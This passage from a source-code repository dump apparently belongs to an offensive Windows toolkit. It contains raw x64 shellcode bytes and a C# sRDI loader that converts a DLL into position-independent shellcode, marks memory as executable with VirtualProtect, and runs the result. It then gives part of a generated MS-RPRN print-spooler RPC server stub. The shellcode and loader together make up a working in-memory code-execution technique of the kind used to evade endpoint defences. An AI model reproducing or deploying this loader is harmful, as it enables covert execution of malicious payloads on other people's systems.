0xC9, 0x75, 0x05, 0x8D, 0x59, 0x20, 0xEB, 0x0A, 0x85, 0xC9, 0xB8, 0x40, 0x00, 0x00, 0x00, 0x0F, 0x45, 0xD8, 0x41, 0x8B, 0x4E, 0xE8, 0x4C, 0x8D, 0x8C, 0x24, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x56, 0xEC, 0x8B, 0xC3, 0x0F, 0xBA, 0xE8, 0x09, 0x41, 0x81, 0xE0, 0x00, 0x00, 0x00, 0x04, 0x0F, 0x44, 0xC3, 0x48, 0x03, 0xCE, 0x44, 0x8B, 0xC0, 0x8B, 0xD8, 0x41, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x84, 0xA1, 0xFC, 0xFF, 0xFF, 0x49, 0x83, 0xC6, 0x28, 0x48, 0x85, 0xED, 0x0F, 0x85, 0x48, 0xFF, 0xFF, 0xFF, 0x44, 0x8D, 0x6D, 0x02, 0x8B, 0x5F, 0x28, 0x45, 0x33, 0xC0, 0x33, 0xD2, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0xDE, 0x41, 0xFF, 0xD4, 0xBD, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x8B, 0xD5, 0xFF, 0xD3, 0x45, 0x85, 0xFF, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x83, 0xBF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD6, 0x44, 0x8B, 0x5A, 0x18, 0x45, 0x85, 0xDB, 0x74, 0x78, 0x83, 0x7A, 0x14, 0x00, 0x74, 0x72, 0x44, 0x8B, 0x52, 0x20, 0x33, 0xDB, 0x44, 0x8B, 0x4A, 0x24, 0x4C, 0x03, 0xD6, 0x4C, 0x03, 0xCE, 0x45, 0x85, 0xDB, 0x74, 0x5D, 0x45, 0x8B, 0x02, 0x4C, 0x03, 0xC6, 0x33, 0xC9, 0x41, 0x0F, 0xBE, 0x00, 0x4C, 0x03, 0xC5, 0xC1, 0xC9, 0x0D, 0x03, 0xC8, 0x41, 0x80, 0x78, 0xFF, 0x00, 0x75, 0xED, 0x44, 0x3B, 0xF9, 0x74, 0x10, 0x03, 0xDD, 0x49, 0x83, 0xC2, 0x04, 0x4D, 0x03, 0xCD, 0x41, 0x3B, 0xDB, 0x72, 0xD2, 0xEB, 0x2D, 0x41, 0x0F, 0xB7, 0x01, 0x83, 0xF8, 0xFF, 0x74, 0x24, 0x8B, 0x52, 0x1C, 0x48, 0x8B, 0x8C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0xC1, 0xE0, 0x02, 0x48, 0x98, 0x48, 0x03, 0xC6, 0x44, 0x8B, 0x04, 0x02, 0x8B, 0x94, 0x24, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x03, 0xC6, 0x41, 0xFF, 0xD0, 0x48, 0x8B, 0xC6, 0x48, 0x83, 0xC4, 0x78, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85, 0xC0, 0x0F, 0x84, 0xB4, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C, 0x33, 0xD2, 0x4D, 0x8B, 0x09, 0xF3, 0x0F, 0x7F, 0x04, 0x24, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F, 0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x21, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0x0F, 0xBE, 0x01, 0xC1, 0xCA, 0x0D, 0x80, 0x39, 0x61, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48, 0xFF, 0xC1, 0x49, 0x83, 0xEB, 0x01, 0x75, 0xE7, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A, 0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x8F, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x49, 0x03, 0xD8, 0x48, 0x8D, 0x7F, 0x04, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3, 0x41, 0xC1, 0xCB, 0x0D, 0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74, 0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5B, 0xFF, 0xFF, 0xFF, 0x41, 0x8B, 0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x14, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC8, 0x8B, 0x04, 0x91, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F, 0xC3 };
555 | var newShellcode = new List();
556 |
557 | uint dllOffset = 0;
558 |
559 | if (PE.Is64BitDLL(dllBytes))
560 | {
561 | var rdiShellcode = rdiShellcode64;
562 | int bootstrapSize = 64;
563 |
564 | // call next instruction (Pushes next instruction address to stack)
565 | newShellcode.Add(0xe8);
566 | newShellcode.Add(0x00);
567 | newShellcode.Add(0x00);
568 | newShellcode.Add(0x00);
569 | newShellcode.Add(0x00);
570 |
571 | // Set the offset to our DLL from pop result
572 | dllOffset = (uint)(bootstrapSize - newShellcode.Count + rdiShellcode.Length);
573 |
574 | // pop rcx - Capture our current location in memory
575 | newShellcode.Add(0x59);
576 |
577 | // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
578 | newShellcode.Add(0x49);
579 | newShellcode.Add(0x89);
580 | newShellcode.Add(0xc8);
581 |
582 | // Setup the location of the DLL into RCX
583 | // add rcx,
584 | newShellcode.Add(0x48);
585 | newShellcode.Add(0x81);
586 | newShellcode.Add(0xc1);
587 | foreach (byte b in BitConverter.GetBytes(dllOffset))
588 | newShellcode.Add(b);
589 |
590 | // mov edx,
591 | newShellcode.Add(0xba);
592 | foreach (byte b in BitConverter.GetBytes(functionHash))
593 | newShellcode.Add(b);
594 |
595 | // Put the location of our user data in
596 | // add r8, +
597 | newShellcode.Add(0x49);
598 | newShellcode.Add(0x81);
599 | newShellcode.Add(0xc0);
600 | foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length)))
601 | newShellcode.Add(b);
602 |
603 | // mov r9d,
604 | newShellcode.Add(0x41);
605 | newShellcode.Add(0xb9);
606 | foreach (byte b in BitConverter.GetBytes((uint)userData.Length))
607 | newShellcode.Add(b);
608 |
609 | // push rsi - save original value
610 | newShellcode.Add(0x56);
611 |
612 | // mov rsi, rsp - store our current stack pointer for later
613 | newShellcode.Add(0x48);
614 | newShellcode.Add(0x89);
615 | newShellcode.Add(0xe6);
616 |
617 | // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
618 | newShellcode.Add(0x48);
619 | newShellcode.Add(0x83);
620 | newShellcode.Add(0xe4);
621 | newShellcode.Add(0xf0);
622 |
623 | // sub rsp, 0x30 - Create some breathing room on the stack
624 | newShellcode.Add(0x48);
625 | newShellcode.Add(0x83);
626 | newShellcode.Add(0xec);
627 | newShellcode.Add(6 * 8); // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
628 |
629 | // mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space
630 | newShellcode.Add(0xc7);
631 | newShellcode.Add(0x44);
632 | newShellcode.Add(0x24);
633 | newShellcode.Add(4 * 8);
634 | foreach (byte b in BitConverter.GetBytes((uint)flags))
635 | newShellcode.Add(b);
636 |
637 | // call - Transfer execution to the RDI
638 | newShellcode.Add(0xe8);
639 | newShellcode.Add((byte)(bootstrapSize - newShellcode.Count - 4)); // Skip over the remainder of instructions
640 | newShellcode.Add(0x00);
641 | newShellcode.Add(0x00);
642 | newShellcode.Add(0x00);
643 |
644 | // mov rsp, rsi - Reset our original stack pointer
645 | newShellcode.Add(0x48);
646 | newShellcode.Add(0x89);
647 | newShellcode.Add(0xf4);
648 |
649 | // pop rsi - Put things back where we left them
650 | newShellcode.Add(0x5e);
651 |
652 | // ret - return to caller
653 | newShellcode.Add(0xc3);
654 |
655 | // Write the rest of RDI
656 | foreach (byte b in rdiShellcode)
657 | newShellcode.Add(b);
658 |
659 | // Write our DLL
660 | foreach (byte b in dllBytes)
661 | newShellcode.Add(b);
662 |
663 | // Write our userdata
664 | foreach (byte b in userData)
665 | newShellcode.Add(b);
666 |
667 | }
668 | else // 32 Bit
669 | {
670 | var rdiShellcode = rdiShellcode32;
671 | int bootstrapSize = 45;
672 |
673 | // call next instruction (Pushes next instruction address to stack)
674 | newShellcode.Add(0xe8);
675 | newShellcode.Add(0x00);
676 | newShellcode.Add(0x00);
677 | newShellcode.Add(0x00);
678 | newShellcode.Add(0x00);
679 |
680 | // Set the offset to our DLL from pop result
681 | dllOffset = (uint)(bootstrapSize - newShellcode.Count + rdiShellcode.Length);
682 |
683 | // pop ecx - Capture our current location in memory
684 | newShellcode.Add(0x58);
685 |
686 | // mov ebx, eax - copy our location in memory to ebx before we start modifying eax
687 | newShellcode.Add(0x89);
688 | newShellcode.Add(0xc3);
689 |
690 | // add eax,
691 | newShellcode.Add(0x05);
692 | foreach (byte b in BitConverter.GetBytes(dllOffset))
693 | newShellcode.Add(b);
694 |
695 | // add ebx, +
696 | newShellcode.Add(0x81);
697 | newShellcode.Add(0xc3);
698 | foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length)))
699 | newShellcode.Add(b);
700 |
701 | // push
702 | newShellcode.Add(0x68);
703 | foreach (byte b in BitConverter.GetBytes(flags))
704 | newShellcode.Add(b);
705 |
706 | // push
707 | newShellcode.Add(0x68);
708 | foreach (byte b in BitConverter.GetBytes((uint)userData.Length))
709 | newShellcode.Add(b);
710 |
711 | // push ebx
712 | newShellcode.Add(0x53);
713 |
714 | // push
715 | newShellcode.Add(0x68);
716 | foreach (byte b in BitConverter.GetBytes(functionHash))
717 | newShellcode.Add(b);
718 |
719 | // push eax
720 | newShellcode.Add(0x50);
721 |
722 | // call - Transfer execution to the RDI
723 | newShellcode.Add(0xe8);
724 | newShellcode.Add((byte)(bootstrapSize - newShellcode.Count - 4)); // Skip over the remainder of instructions
725 | newShellcode.Add(0x00);
726 | newShellcode.Add(0x00);
727 | newShellcode.Add(0x00);
728 |
729 | // add esp, 0x14 - correct the stack pointer
730 | newShellcode.Add(0x83);
731 | newShellcode.Add(0xc4);
732 | newShellcode.Add(0x14);
733 |
734 | // ret - return to caller
735 | newShellcode.Add(0xc3);
736 |
737 | //Write the rest of RDI
738 | foreach (byte b in rdiShellcode)
739 | newShellcode.Add(b);
740 |
741 | //Write our DLL
742 | dllBytes[0] = 0x00;
743 | dllBytes[1] = 0x00;
744 | foreach (byte b in dllBytes)
745 | newShellcode.Add(b);
746 |
747 | //Write our userdata
748 | foreach (byte b in userData)
749 | newShellcode.Add(b);
750 | }
751 |
752 | return newShellcode.ToArray();
753 | }
754 |
755 | public static void CallExportedFunction(byte[] dll, string exportName, byte[] argumentBytes)
756 | {
757 | byte[] shellcode = null;
758 |
759 | // 0x30627745 - 'SayHello' - FunctionToHash.py (Meh, I'm too lazy to change this)
760 | shellcode = RDILoader.ConvertToShellcode(dll, 0x30627745, argumentBytes, 0);
761 | Console.WriteLine("[+] Converted DLL to shellcode");
762 |
763 | GCHandle scHandle = GCHandle.Alloc(shellcode, GCHandleType.Pinned);
764 | IntPtr scPointer = scHandle.AddrOfPinnedObject();
765 | uint flOldProtect;
766 |
767 | // Only set the first page to RWX
768 | // This is should sufficiently cover the sRDI shellcode up top
769 | if (!Native.VirtualProtect(scPointer, (UIntPtr)4096, Native.PAGE_EXECUTE_READWRITE, out flOldProtect))
770 | {
771 | Console.WriteLine("[!] Failed to set memory flags");
772 | return;
773 | }
774 |
775 | ReflectiveLoader reflectiveLoader = (ReflectiveLoader)Marshal.GetDelegateForFunctionPointer(scPointer, typeof(ReflectiveLoader));
776 |
777 | Console.WriteLine("[+] Executing RDI");
778 |
779 | IntPtr peLocation = reflectiveLoader();
780 |
781 | IntPtr expFunctionLocation = PE.GetProcAddressR(peLocation, exportName);
782 | if (expFunctionLocation != IntPtr.Zero)
783 | {
784 | ExportedFunction exportedFunction = (ExportedFunction)Marshal.GetDelegateForFunctionPointer(expFunctionLocation, typeof(ExportedFunction));
785 | GCHandle userDataHandle = GCHandle.Alloc(argumentBytes, GCHandleType.Pinned);
786 | IntPtr userDataPointer = userDataHandle.AddrOfPinnedObject();
787 |
788 | Console.WriteLine("[+] Calling exported function");
789 |
790 | exportedFunction(userDataPointer, (uint)argumentBytes.Length);
791 | }
792 | }
793 | }
794 | }
795 |
--------------------------------------------------------------------------------
/MS-RPRN/ms-rprn_s.c:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the RPC server stubs */
4 |
5 |
6 | /* File created by MIDL compiler version 8.01.0622 */
7 | /* at Mon Jan 18 22:14:07 2038
8 | */
9 | /* Compiler settings for ms-rprn.idl:
10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
11 | protocol : all , ms_ext, c_ext, robust
12 | error checks: allocation ref bounds_check enum stub_data
13 | VC __declspec() decoration level:
14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 | DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING( ) */
18 |
19 | #if defined(_M_AMD64)
20 |
21 |
22 | #if _MSC_VER >= 1200
23 | #pragma warning(push)
24 | #endif
25 |
26 | #pragma warning( disable: 4211 ) /* redefine extern to static */
27 | #pragma warning( disable: 4232 ) /* dllimport identity*/
28 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/
29 |
30 | #include
31 | #include "ms-rprn_h.h"
32 |
33 | #define TYPE_FORMAT_STRING_SIZE 135
34 | #define PROC_FORMAT_STRING_SIZE 2383
35 | #define EXPR_FORMAT_STRING_SIZE 1
36 | #define TRANSMIT_AS_TABLE_SIZE 0
37 | #define WIRE_MARSHAL_TABLE_SIZE 0
38 |
39 | typedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING
40 | {
41 | short Pad;
42 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ];
43 | } ms2Drprn_MIDL_TYPE_FORMAT_STRING;
44 |
45 | typedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING
46 | {
47 | short Pad;
48 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ];
49 | } ms2Drprn_MIDL_PROC_FORMAT_STRING;
50 |
51 | typedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING
52 | {
53 | long Pad;
54 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ];
55 | } ms2Drprn_MIDL_EXPR_FORMAT_STRING;
56 |
57 |
58 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax =
59 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
60 |
61 | static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax =
62 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};
63 |
64 |
65 | extern const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString;
66 | extern const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString;
67 | extern const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString;
68 |
69 | /* Standard interface: winspool, ver. 1.0,
70 | GUID={0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}} */
71 |
72 |
73 | extern const MIDL_SERVER_INFO winspool_ServerInfo;
74 | static const RPC_PROTSEQ_ENDPOINT __RpcProtseqEndpoint[] =
75 | {
76 | {(unsigned char *) "ncacn_np", (unsigned char *) "\\pipe\\spoolss"}
77 | };
78 |
79 |
80 | extern const RPC_DISPATCH_TABLE winspool_v1_0_DispatchTable;
81 |
82 | static const RPC_SERVER_INTERFACE winspool___RpcServerInterface =
83 | {
84 | sizeof(RPC_SERVER_INTERFACE),
85 | {{0x12345678,0x1234,0xABCD,{0xEF,0x00,0x01,0x23,0x45,0x67,0x89,0xAB}},{1,0}},
86 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
87 | (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable,
88 | 1,
89 | (RPC_PROTSEQ_ENDPOINT *)__RpcProtseqEndpoint,
90 | 0,
91 | &winspool_ServerInfo,
92 | 0x06000000
93 | };
94 | RPC_IF_HANDLE winspool_v1_0_s_ifspec = (RPC_IF_HANDLE)& winspool___RpcServerInterface;
95 |
96 | extern const MIDL_STUB_DESC winspool_StubDesc;
97 |
98 | extern const NDR_RUNDOWN RundownRoutines[];
99 |
100 | #if !defined(__RPC_WIN64__)
101 | #error Invalid build platform for this stub.
102 | #endif
103 |
104 | static const ms2Drprn_MIDL_PROC_FORMAT_STRING ms2Drprn__MIDL_ProcFormatString =
105 | {
106 | 0,
107 | {
108 |
109 | /* Procedure RpcEnumPrinters */
110 |
111 | 0x0, /* 0 */
112 | 0x48, /* Old Flags: */
113 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */
114 | /* 6 */ NdrFcShort( 0x0 ), /* 0 */
115 | /* 8 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
116 | /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */
117 | 0x0, /* 0 */
118 | /* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
119 | /* 14 */ NdrFcShort( 0x0 ), /* 0 */
120 | /* 16 */ NdrFcShort( 0x8 ), /* 8 */
121 | /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */
122 | 0x1, /* 1 */
123 | /* 20 */ 0xa, /* 10 */
124 | 0x1, /* Ext Flags: new corr desc, */
125 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */
126 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */
127 | /* 26 */ NdrFcShort( 0x0 ), /* 0 */
128 | /* 28 */ NdrFcShort( 0x0 ), /* 0 */
129 |
130 | /* Return value */
131 |
132 | /* 30 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
133 | /* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
134 | /* 34 */ 0x8, /* FC_LONG */
135 | 0x0, /* 0 */
136 |
137 | /* Procedure RpcOpenPrinter */
138 |
139 | /* 36 */ 0x0, /* 0 */
140 | 0x48, /* Old Flags: */
141 | /* 38 */ NdrFcLong( 0x0 ), /* 0 */
142 | /* 42 */ NdrFcShort( 0x1 ), /* 1 */
143 | /* 44 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
144 | /* 46 */ 0x31, /* FC_BIND_GENERIC */
145 | 0x8, /* 8 */
146 | /* 48 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
147 | /* 50 */ 0x0, /* 0 */
148 | 0x5c, /* FC_PAD */
149 | /* 52 */ NdrFcShort( 0x8 ), /* 8 */
150 | /* 54 */ NdrFcShort( 0x40 ), /* 64 */
151 | /* 56 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
152 | 0x6, /* 6 */
153 | /* 58 */ 0xa, /* 10 */
154 | 0x5, /* Ext Flags: new corr desc, srv corr check, */
155 | /* 60 */ NdrFcShort( 0x0 ), /* 0 */
156 | /* 62 */ NdrFcShort( 0x1 ), /* 1 */
157 | /* 64 */ NdrFcShort( 0x0 ), /* 0 */
158 | /* 66 */ NdrFcShort( 0x0 ), /* 0 */
159 |
160 | /* Parameter pPrinterName */
161 |
162 | /* 68 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
163 | /* 70 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
164 | /* 72 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
165 |
166 | /* Parameter pHandle */
167 |
168 | /* 74 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */
169 | /* 76 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
170 | /* 78 */ NdrFcShort( 0xa ), /* Type Offset=10 */
171 |
172 | /* Parameter pDatatype */
173 |
174 | /* 80 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */
175 | /* 82 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
176 | /* 84 */ NdrFcShort( 0x2 ), /* Type Offset=2 */
177 |
178 | /* Parameter pDevModeContainer */
179 |
180 | /* 86 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
181 | /* 88 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
182 | /* 90 */ NdrFcShort( 0x1e ), /* Type Offset=30 */
183 |
184 | /* Parameter AccessRequired */
185 |
186 | /* 92 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
187 | /* 94 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
188 | /* 96 */ 0x8, /* FC_LONG */
189 | 0x0, /* 0 */
190 |
191 | /* Return value */
192 |
193 | /* 98 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
194 | /* 100 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
195 | /* 102 */ 0x8, /* FC_LONG */
196 | 0x0, /* 0 */
197 |
198 | /* Procedure RpcSetJob */
199 |
200 | /* 104 */ 0x0, /* 0 */
201 | 0x48, /* Old Flags: */
202 | /* 106 */ NdrFcLong( 0x0 ), /* 0 */
203 | /* 110 */ NdrFcShort( 0x2 ), /* 2 */
204 | /* 112 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
205 | /* 114 */ 0x32, /* FC_BIND_PRIMITIVE */
206 | 0x0, /* 0 */
207 | /* 116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
208 | /* 118 */ NdrFcShort( 0x0 ), /* 0 */
209 | /* 120 */ NdrFcShort( 0x8 ), /* 8 */
210 | /* 122 */ 0x44, /* Oi2 Flags: has return, has ext, */
211 | 0x1, /* 1 */
212 | /* 124 */ 0xa, /* 10 */
213 | 0x1, /* Ext Flags: new corr desc, */
214 | /* 126 */ NdrFcShort( 0x0 ), /* 0 */
215 | /* 128 */ NdrFcShort( 0x0 ), /* 0 */
216 | /* 130 */ NdrFcShort( 0x0 ), /* 0 */
217 | /* 132 */ NdrFcShort( 0x0 ), /* 0 */
218 |
219 | /* Return value */
220 |
221 | /* 134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
222 | /* 136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
223 | /* 138 */ 0x8, /* FC_LONG */
224 | 0x0, /* 0 */
225 |
226 | /* Procedure RpcGetJob */
227 |
228 | /* 140 */ 0x0, /* 0 */
229 | 0x48, /* Old Flags: */
230 | /* 142 */ NdrFcLong( 0x0 ), /* 0 */
231 | /* 146 */ NdrFcShort( 0x3 ), /* 3 */
232 | /* 148 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
233 | /* 150 */ 0x32, /* FC_BIND_PRIMITIVE */
234 | 0x0, /* 0 */
235 | /* 152 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
236 | /* 154 */ NdrFcShort( 0x0 ), /* 0 */
237 | /* 156 */ NdrFcShort( 0x8 ), /* 8 */
238 | /* 158 */ 0x44, /* Oi2 Flags: has return, has ext, */
239 | 0x1, /* 1 */
240 | /* 160 */ 0xa, /* 10 */
241 | 0x1, /* Ext Flags: new corr desc, */
242 | /* 162 */ NdrFcShort( 0x0 ), /* 0 */
243 | /* 164 */ NdrFcShort( 0x0 ), /* 0 */
244 | /* 166 */ NdrFcShort( 0x0 ), /* 0 */
245 | /* 168 */ NdrFcShort( 0x0 ), /* 0 */
246 |
247 | /* Return value */
248 |
249 | /* 170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
250 | /* 172 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
251 | /* 174 */ 0x8, /* FC_LONG */
252 | 0x0, /* 0 */
253 |
254 | /* Procedure RpcEnumJobs */
255 |
256 | /* 176 */ 0x0, /* 0 */
257 | 0x48, /* Old Flags: */
258 | /* 178 */ NdrFcLong( 0x0 ), /* 0 */
259 | /* 182 */ NdrFcShort( 0x4 ), /* 4 */
260 | /* 184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
261 | /* 186 */ 0x32, /* FC_BIND_PRIMITIVE */
262 | 0x0, /* 0 */
263 | /* 188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
264 | /* 190 */ NdrFcShort( 0x0 ), /* 0 */
265 | /* 192 */ NdrFcShort( 0x8 ), /* 8 */
266 | /* 194 */ 0x44, /* Oi2 Flags: has return, has ext, */
267 | 0x1, /* 1 */
268 | /* 196 */ 0xa, /* 10 */
269 | 0x1, /* Ext Flags: new corr desc, */
270 | /* 198 */ NdrFcShort( 0x0 ), /* 0 */
271 | /* 200 */ NdrFcShort( 0x0 ), /* 0 */
272 | /* 202 */ NdrFcShort( 0x0 ), /* 0 */
273 | /* 204 */ NdrFcShort( 0x0 ), /* 0 */
274 |
275 | /* Return value */
276 |
277 | /* 206 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
278 | /* 208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
279 | /* 210 */ 0x8, /* FC_LONG */
280 | 0x0, /* 0 */
281 |
282 | /* Procedure RpcAddPrinter */
283 |
284 | /* 212 */ 0x0, /* 0 */
285 | 0x48, /* Old Flags: */
286 | /* 214 */ NdrFcLong( 0x0 ), /* 0 */
287 | /* 218 */ NdrFcShort( 0x5 ), /* 5 */
288 | /* 220 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
289 | /* 222 */ 0x32, /* FC_BIND_PRIMITIVE */
290 | 0x0, /* 0 */
291 | /* 224 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
292 | /* 226 */ NdrFcShort( 0x0 ), /* 0 */
293 | /* 228 */ NdrFcShort( 0x8 ), /* 8 */
294 | /* 230 */ 0x44, /* Oi2 Flags: has return, has ext, */
295 | 0x1, /* 1 */
296 | /* 232 */ 0xa, /* 10 */
297 | 0x1, /* Ext Flags: new corr desc, */
298 | /* 234 */ NdrFcShort( 0x0 ), /* 0 */
299 | /* 236 */ NdrFcShort( 0x0 ), /* 0 */
300 | /* 238 */ NdrFcShort( 0x0 ), /* 0 */
301 | /* 240 */ NdrFcShort( 0x0 ), /* 0 */
302 |
303 | /* Return value */
304 |
305 | /* 242 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
306 | /* 244 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
307 | /* 246 */ 0x8, /* FC_LONG */
308 | 0x0, /* 0 */
309 |
310 | /* Procedure RpcDeletePrinter */
311 |
312 | /* 248 */ 0x0, /* 0 */
313 | 0x48, /* Old Flags: */
314 | /* 250 */ NdrFcLong( 0x0 ), /* 0 */
315 | /* 254 */ NdrFcShort( 0x6 ), /* 6 */
316 | /* 256 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
317 | /* 258 */ 0x32, /* FC_BIND_PRIMITIVE */
318 | 0x0, /* 0 */
319 | /* 260 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
320 | /* 262 */ NdrFcShort( 0x0 ), /* 0 */
321 | /* 264 */ NdrFcShort( 0x8 ), /* 8 */
322 | /* 266 */ 0x44, /* Oi2 Flags: has return, has ext, */
323 | 0x1, /* 1 */
324 | /* 268 */ 0xa, /* 10 */
325 | 0x1, /* Ext Flags: new corr desc, */
326 | /* 270 */ NdrFcShort( 0x0 ), /* 0 */
327 | /* 272 */ NdrFcShort( 0x0 ), /* 0 */
328 | /* 274 */ NdrFcShort( 0x0 ), /* 0 */
329 | /* 276 */ NdrFcShort( 0x0 ), /* 0 */
330 |
331 | /* Return value */
332 |
333 | /* 278 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
334 | /* 280 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
335 | /* 282 */ 0x8, /* FC_LONG */
336 | 0x0, /* 0 */
337 |
338 | /* Procedure RpcSetPrinter */
339 |
340 | /* 284 */ 0x0, /* 0 */
341 | 0x48, /* Old Flags: */
